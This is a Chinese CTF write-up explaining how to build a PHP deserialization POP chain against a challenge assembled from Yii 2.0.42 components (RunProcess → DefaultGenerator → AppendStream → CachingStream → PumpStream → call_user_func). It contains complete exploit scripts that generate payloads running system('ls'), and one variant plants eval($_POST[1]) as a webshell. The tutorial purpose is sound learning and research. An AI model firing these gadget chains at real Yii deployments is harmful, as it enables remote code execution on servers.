前言
将通过一道没有做出来的CTF题目,介绍PHP反序列化POP链的构造
同时会分析我自己的exp的错误之处
题目
EZYii
题目源码: 本站网址/static/post/php-unserialize-popchain/ext/ezyii_daec6f038e7f8728c1188fb4da7dc86a.zip
描述:
1
| yii最新版里有一个很巧妙的链子,我已经从999999个文件里,拿出了部分,不会还找不到吧?
|
截图

题目入口
题目给了一个反序列化入口,只需要向index.php通过post方法提交data变量(数据为base64编码后的数据)即可
index.php内容如下

include(“closure/autoload.php”);
autoload.php是用于加载class文件夹里所有PHP的程序,spl_autoload_register函数就是这个文件里面的
参考
1day漏洞参考
Yii(2.0.42)的最新反序列化利用全集
EXP
Err0r师傅的博客
Err0r师傅写的EXP,非常感谢他
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <?php namespace Codeception\Extension { use Faker\DefaultGenerator; use GuzzleHttp\Psr7\AppendStream; class RunProcess{ protected $output; private $processes = []; public function __construct() { $this->processes[]=new DefaultGenerator(new AppendStream()); $this->output=new DefaultGenerator('jiang'); } } echo base64_encode(serialize(new RunProcess())); }
namespace Faker { class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } } }
namespace GuzzleHttp\Psr7 { use Faker\DefaultGenerator; final class AppendStream { private $streams = []; private $seekable = true; public function __construct(){ $this->streams[]=new CachingStream(); } }
final class CachingStream { private $remoteStream; public function __construct() { $this->remoteStream=new DefaultGenerator(false); $this->stream=new PumpStream(); } }
final class PumpStream{ private $source; private $size=-10; private $buffer; public function __construct(){ $this->buffer=new DefaultGenerator('j'); include("closure/autoload.php"); $a = function(){eval($_POST[1]);}; $a = \Opis\Closure\serialize($a); $b = unserialize($a); $this->source=$b; } } }
|
我的不能用的EXP
为什么不能用且看我慢慢分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php namespace GuzzleHttp\Psr7{ class PumpStream{ private $source;
public function __construct(){ $this->source = 'phpinfo'; } } }
namespace Faker{ use GuzzleHttp\Psr7\PumpStream;
class DefaultGenerator{ protected $default;
public function __construct(){ $this->default = [new PumpStream(), 'pump']; } } }
namespace Codeception\Extension{ use Faker\DefaultGenerator;
class RunProcess{ private $processes = [];
public function __construct(){ $this->processes = [new DefaultGenerator()]; } } } namespace{ echo base64_encode(serialize(new Codeception\Extension\RunProcess)); }
|
目录
[TOC]
正文
PHP对象的反序列化漏洞
从PHP对象的反序列化漏洞说起
就拿这题的源码改改说明一下
在/class/Faker/DefaultGenerator.php添加下面代码,__destruct()是PHP魔术方法,对象从内存中删除之前被调用
1 2 3
| public function __destruct() { system($this->source); }
|
添加到指定位置

然后运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php namespace GuzzleHttp\Psr7 { class PumpStream { private $source; public function __construct() { $this->source = 'ls'; } } }
namespace{ echo base64_encode(serialize(new GuzzleHttp\Psr7\PumpStream())); }
|
会输出一串base64编码后的数据,
这实际上是对上面那段代码的新建的PumpStream对象序列化后再base64编码的操作。
数据如下

post提交到index.php的入口,可以发现system(‘ls’);被执行了
这是因为反序列化后创建了一个PumpStream对象,然后$source被赋值成了‘ls’,
前面说过__destruct(),对象删除前会调用system($this->source)
利用对象的反序列化漏洞可以控制$source的内容,
被控制之后执行system($this->source)相当于system(‘ls’)。
ls可以换成其它命令,那就不只是列目录了,服务器可能还会被入侵

这道题当然没有那么简单,那么请容我继续讲下去
PHP魔术方法
构造pop链,需要对PHP的一些魔术方法有充分了解
*__*construct和__destruct
前者和后者分别为类的构造函数和析构函数,*__*construct在类创建时被调用,__destruct在类删除前被调用
*__*sleep和__wakeup
与类的序列化有关,序列化前会调用*__*sleep,使用反序列化恢复对象调用__wakeup
__toString
对类的对象进行字符串操作时,会被调用
如
1 2 3 4 5 6 7 8 9 10
| <?php class a { public function __toString() { echo "string"; return "aa"; } }
$b = new a; $b . 'str';
|
结果如下图

1 2 3 4 5 6 7 8 9 10 11
| <?php class a { public function __toString() { echo "string"; return "aa"; } }
$b = new a; echo $b;
|
结果如下图

*__call、__*get和__set
调用类中不存在的方法时就会调用__call
1 2 3 4 5 6 7 8 9
| <?php class a { public function __call($method, $args) { echo "call function: $method()" ; } }
$b = new a; $b->func();
|
结果如下图

*__*get则是访问类的成员变量不存在的时调用,__set在设置类的成员变量(如:赋值)不存在的时调用
构造简单POP链
开始分析此题、构造此题的POP链前,先简单说明一下反序列化POP利用链,看看是怎么回事
假设服务端程序如下
假如有这么一段PHP程序(如果程序有错误之处麻烦指出),要求调用类c中的func方法
乍一看好像没有什么问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php class a { public $obj; public function __destruct() { $aa = $this->obj->stop(); echo 'info: ' . $aa; } }
class b { public $ctrl_me; public function __call($method, $attributes) { return $this->ctrl_me; } }
class c { public $string; public function __toString() { $this->string->func(); return ; } }
class d { public function func() { echo "you got it!"; } }
if($_GET['data']){ unserialize(base64_decode($_GET['data'])); }else{ echo "<h1>请调用类c中的func方法</h1>"; }
|
有没有捷径?
没有
直接操作c、d对象是不可行的,因为没有字符串操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| class c { public $string; function __construct() { $this->string = new d; } }
class d {
}
echo base64_encode(serialize(new c));
|
调用失败,一片空白

尝试将abcd串联在一起
1
| a::__destruct() --> b::__call() --> c::__toString() --> d::func()
|
EXP如下
运行如下exp,复制生成的base64字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php
class a { public $obj; public function __construct() { $this->obj = new b(new c); } }
class b { public $ctrl_me; public function __construct($ctrl = null) { $this->ctrl_me = $ctrl; } }
class c { public $string; function __construct() { $this->string = new d; } }
class d {
}
echo base64_encode(serialize(new a));
|
使用get方法提交到data,可以看到成功调用

分析&&解释
类d
生成类d的对象时是不会直接调用func方法的,需要主动调用
1 2 3 4 5
| class d { public function func() { echo "you got it!"; } }
|
类c
1 2 3 4 5 6 7
| class c { public $string; public function __toString() { $this->string->func(); return ; } }
|
类a
1 2 3 4 5 6 7
| class a { public $obj; public function __destruct() { $aa = $this->obj->stop(); echo 'info: ' . $aa; } }
|
类b
用于不存在方法的调用绕过
1 2 3 4 5 6
| class b { public $ctrl_me; public function __call($method, $attributes) { return $this->ctrl_me; } }
|
exp中的类b
1 2 3 4 5 6
| class b { public $ctrl_me; public function __construct($ctrl = null) { $this->ctrl_me = $ctrl; } }
|
使用时写成下面的样子,即可在调用不存在方法时返回类c的对象
1
| $this->obj = new b(new c);
|
构造此题POP链
代码审计
这道题很巧妙,各个类之间能被巧妙地联系在一起,构成远程命令执行(RCE),如果是实际的话,要找到这样巧妙的POP链可能需要大量时间和精力
寻找call_user_func()
先从call_user_func()开始,因为很多Yii的漏洞都是从这个函数开始的
call_user_func()的第一个参数用来写函数名,如system、eval,第二个参数用于存放调用函数的参数,
如call_user_func(‘system’, ‘ls’)代表system(“ls”)
这道题文件不多,只是从Yii选了部分文件,很容易找到/class/GuzzleHttp/Psr7/PumpStream.php含有此函数
从此文件,可以注意到:
- $this->source是可控的,read方法调用了含call_user_func()的pump方法
- $this->size也可控,意味着使用了getSize方法的程序可能可以被控制
可控的call_user_func参数只有第一个参数$this->source,后面会讲如何操作

找关联类
寻找能调用起PumpStream类中read方法或者pump方法的类
找到了/class/GuzzleHttp/Psr7/CachingStream.php
可以看到$this->stream变量适合用来存放PumpStream类的一个对象,因为它调用的方法都是PumpStream类里面有的
而$this->remoteStream则不适合,因为在所有文件里都没能找到它调用的方法(如->eof()),而且变量不可控,就先放着
rewind()调用了seek方法,seek方法又有可能调用read方法,read方法会调用PumpStream类中read方法,
我们只要想办法让$this->stream->read被调用起来即可,也就是把PumpStream类中read方法调用起来

还是没有能被直接调用的办法(即利用出错处理调用类中的方法,或者类被创建就调用其中的方法),
继续找能调用CachingStream类里面rewind、seek、read方法之一的类
找到了/class/GuzzleHttp/Psr7/AppendStream.php
里面有个可控变量$streams,
程序会遍历$streams,然后调用rewind()方法。
只需要使$streams成为CachingStream类的对象,就能触发CachingStream类里的rewind方法

而AppendStream类里的seek方法,可以由__toString()触发

触发__toString()
那么如何触发AppendStream类里的__toString()呢?
找到了/class/Codeception/Extension/RunProcess.php
只要产生此类的对象,就会在删除对象时调用stopProcess方法,而且$processes变量可控,
程序会遍历$processes,对遍历的元素process进行字符串操作,
当我们控制$processes为AppendStream类的对象,这就触发了__toString
有个问题就是process会调用debug和getCommandLine以及isRunning方法,这些都是不存在的方法。。。

绕过不存在的方法
还记得前面构造简单POP链讲的类b吗?就是这里抠出来的
/class/Faker/DefaultGenerator.php给了我们绕过的机会
使用方法前面已经讲过了,这里不再赘述

构造链
有亿点点长
1 2 3 4 5
| RunProcess::__destruct() --》 DefaultGenerator::__call() --》 AppendStream::__toString() --》 CachingStream::rewind() --》 PumpStream::read() --》 PumpStream::pump() --》 call_user_func()
|
构造1
1
| RunProcess::__destruct() --》 DefaultGenerator::__call()
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| namespace Codeception\Extension { use Faker\DefaultGenerator; class RunProcess{ protected $output; private $processes = []; public function __construct() {
); -->这样写是利用PHP的索引自动加1 也可以写成this->pprocesses=[new DefaultGenerator()]; 结果都是Array {[0] => new DefaultGenerator()} */ $this->processes=[new DefaultGenerator()]; $this->output=new DefaultGenerator(); } } }
namespace Faker { class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } } }
namespace{ //new Codeception\Extension\RunProcess是新建一个RunProcess对象,Codeception\Extension是命名空间 echo base64_encode(serialize(new Codeception\Extension\RunProcess)); }
|
构造2
AppendStream里streams是一个数组,所以同前面的赋值方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| namespace GuzzleHttp\Psr7 { use Faker\DefaultGenerator; final class AppendStream { private $streams = []; private $seekable = true; public function __construct(){ $this->streams=[new CachingStream()]; } }
final class CachingStream { private $remoteStream; public function __construct() { $this->remoteStream=new DefaultGenerator(false); $this->stream=new PumpStream(); } }
|
$this->remoteStream=new DefaultGenerator(false)是因为下图所指处
此时this->remoteStream为false,!false为true

PumpStream的构造单独讲一下
1 2 3 4 5 6 7 8 9 10
| final class PumpStream { private $source; private $size=-1; private $buffer; public function __construct(){ $this->buffer=new DefaultGenerator(''); $this->source="phpinfo"; } } }
|
- 为啥是DefaultGenerator(‘’),后面多两个’
‘’代表一串空字符,程序调用buffer->read($length),结果赋值给data变量,用DefaultGenerator(‘’)绕过后data变量的值为’’,
因为DefaultGenerator类里的__call方法返回的是输入的参数。
又因为strlen函数计算字符串的长度,所以data变量内容要为字符串

因为这样子构造,CachingStream类里会调用PumpStream类里的getSize()方法,返回的正好是$size的值
1
| $this->stream=new PumpStream();
|
$diff要大于0,this->stream->getSize()返回的额是-1
rewind()调用this->seek(0),即seek($offset=0),即byte = offset = 0
0 - - 1 = 1,大于0才能执行this->read();

同时,要调用pump方法得满足$remaining条件
$remaining来自length-readLen,也就是前一个类的调用,为1(上面讲过),readLen来自data变量的长度,data为’’空字符串时为0
1-0 = 1,为true

结合
构造一和构造二结合,即可看到phpinfo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| <?php namespace Codeception\Extension { use Faker\DefaultGenerator; use GuzzleHttp\Psr7\AppendStream; class RunProcess{ protected $output; private $processes = []; public function __construct() { $this->processes=[new DefaultGenerator(new AppendStream())]; $this->output=new DefaultGenerator(); } } }
namespace Faker { class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } } }
namespace GuzzleHttp\Psr7 { use Faker\DefaultGenerator; final class AppendStream { private $streams = []; private $seekable = true; public function __construct(){ $this->streams=[new CachingStream()]; } }
final class CachingStream { private $remoteStream; public function __construct() { $this->remoteStream=new DefaultGenerator(false); $this->stream=new PumpStream(); } }
final class PumpStream{ private $source; private $size=-1; private $buffer; public function __construct(){ $this->buffer=new DefaultGenerator(''); $this->source="phpinfo"; } } }
namespace{ echo base64_encode(serialize(new Codeception\Extension\RunProcess)); }
|

匿名函数
光执行phpinfo是没有用的
如何构成系统命令的执行?
答案是匿名函数
何为匿名函数?
匿名函数也叫闭包函数(closures)
在JavaScript中匿名函数是非常常用的
在PHP中,例子如下
来自:此处
1 2 3 4 5 6 7
| $func = function( $param ) { echo $param; }; $func( 'some string' );
|
把exp写成这样,是不是就能执行了呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
final class PumpStream{ private $source; private $size=-1; private $buffer; public function __construct(){ $this->buffer=new DefaultGenerator(''); $a = function(){system('ls');}; $this->source=$a; } } }
namespace{ echo base64_encode(serialize(new Codeception\Extension\RunProcess)); }
|
可以注意到
1
| $a = function(){system('ls');};
|
exp居然报错了

注意到了closure文件夹吗?

题目提供了序列化composer包
里面有闭包函数的序列化函数
序列化之后再反序列化就好了。。。
1 2 3 4
| include("closure/autoload.php"); $a = function(){system('ls');}; $a = \Opis\Closure\serialize($a); $b = unserialize($a);
|
所以应该这么写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
|
final class PumpStream{ private $source; private $size=-1; private $buffer; public function __construct(){ $this->buffer=new DefaultGenerator('');
include("closure/autoload.php"); $a = function(){system('ls');}; $a = \Opis\Closure\serialize($a); $b = unserialize($a);
$this->source=$b; } } }
namespace{ echo base64_encode(serialize(new Codeception\Extension\RunProcess)); }
|
生成base64

验证,system(‘ls’)成功执行

可用EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <?php namespace Codeception\Extension { use Faker\DefaultGenerator; use GuzzleHttp\Psr7\AppendStream; class RunProcess{ protected $output; private $processes = []; public function __construct() { $this->processes=[new DefaultGenerator(new AppendStream())]; $this->output=new DefaultGenerator(); } } }
namespace Faker { class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } } }
namespace GuzzleHttp\Psr7 { use Faker\DefaultGenerator; final class AppendStream { private $streams = []; private $seekable = true; public function __construct(){ $this->streams=[new CachingStream()]; } }
final class CachingStream { private $remoteStream; public function __construct() { $this->remoteStream=new DefaultGenerator(false); $this->stream=new PumpStream(); } }
final class PumpStream{ private $source; private $size=-1; private $buffer; public function __construct(){ $this->buffer=new DefaultGenerator('');
include("closure/autoload.php"); $a = function(){system('ls');}; $a = \Opis\Closure\serialize($a); $b = unserialize($a);
$this->source=$b; } } }
namespace{ echo base64_encode(serialize(new Codeception\Extension\RunProcess)); }
|
不可用的EXP分析
关于下面这个EXP为什么不能触发RCE
有一部分是可用的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
namespace GuzzleHttp\Psr7{ class PumpStream{ private $source;
public function __construct(){ $this->source = 'phpinfo'; } } }
namespace{ echo base64_encode(serialize(new Codeception\Extension\RunProcess)); }
|
这部分就不可用了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php namespace Codeception\Extension{ use Faker\DefaultGenerator;
class RunProcess{ private $processes = []; public function __construct(){ $this->processes = [new DefaultGenerator()]; } } }
namespace Faker{ use GuzzleHttp\Psr7\PumpStream;
class DefaultGenerator{ protected $default;
public function __construct(){ $this->default = [new PumpStream(), 'pump']; } } }
|
写在最后
谢谢观看,这是我认为非常巧妙的方法
EOF